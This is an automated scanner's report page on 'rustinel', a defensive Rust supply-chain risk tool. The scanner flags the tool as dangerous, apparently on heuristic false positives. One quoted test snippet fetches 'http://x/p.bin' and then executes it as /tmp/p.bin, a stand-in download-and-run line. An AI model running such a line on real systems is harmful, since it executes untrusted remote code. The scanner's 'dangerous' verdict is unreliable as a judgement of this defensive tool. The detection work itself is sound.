kosiorkosa47/rustinel

Rust·132 files·commit af23276·scanned 4d ago·cached ✓

70/100

DANGEROUS

Sensitive capability combinations reachable from entry points. Do not run without review.

This repository contains patterns associated with malware. Do NOT run this code.

verdict accurate?

39% file coverage

threat-state: dangerouslive

FINDINGS ░▒▓

criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/rustinel-cli/src/main.rs

        println!("Updating advisory database in {} ...", dir.display());
        std::process::Command::new("git")
            .args(["-C", &dir.to_string_lossy(), "pull", "--ff-only", "--quiet"])
   ...

warningRust unsafe blockunsafe blocks bypass Rust's memory safety guarantees. Malware uses them for raw pointer manipulation, shellcode injection, or calling dangerous foreign functions.crates/rustinel-core/src/signals.rs

            &[
                ("z_last.rs", "pub unsafe fn z() { unsafe {} }"),
                ("a_first.rs", "pub unsafe fn a() { unsafe {} }"),
            ],

                     let _ = reqwest::blocking::get(\"http://x/p.bin\");\n        \
                     std::process::Command::new(\"/tmp/p.bin\").status();\n    }\n}\n";
        assert!(
           ...

pub fn demo(ptr: *const u8) -> u8 {
    unsafe { *ptr }
}

infoSuspicious files are not reachable from entry pointsFlagged files exist but are not imported by any entry point. They may be dead code, tests, or attack payloads triggered by another mechanism.+2

warningRust wallet/crypto code with network activityCode handling private keys or signing and also making network requests may be exfiltrating secrets or sending funds to an attacker.crates/rustinel-cli/src/registry.rs

// crates.io API metadata (download counts + publish dates) — powers the
// freshness signal and corroborates the typosquat heuristic. Fetched only for
// the handful of typosquat candidates, so the A...

criticalKnown malicious / C2 domainKnown domains used by Lazarus Group and other malware for hosting payloads or exfiltrating data.crates/rustinel-core/src/signals.rs+5

#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct RiskSignal {
    pub id: String,
    pub package: String,

// (`suspicious_source_exfil`) keys on a crate reading `.rs` files, so it would
// MISS this. The exfil-domain reputation signal (`suspicious_exfil_domain`)
// catches it instead, statically, before a...

Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.

51 files scanned @ af23276 | 10/25/2026 | heuristic scan — always review manually

risk by category

code execution24

network & exfiltration20

file system access0

obfuscation0

supply chain0

owasp / injection0

telemetry

files 51/132rules hit 9engine v7commit af23276

github

kosiorkosa47/rustinel

Defensive supply-chain risk diff for Rust/Cargo: typosquats, phone-home build.rs, secret-exfil malware, SBOM/VEX. cargo rustinel.

Rust

150d

132 files

51 scanned(39%)

af23276

architecture░▒▓

entry (0) flagged (5) pkg (18)

60 nodes · 35 edgesscroll to zoom · click node to jump to finding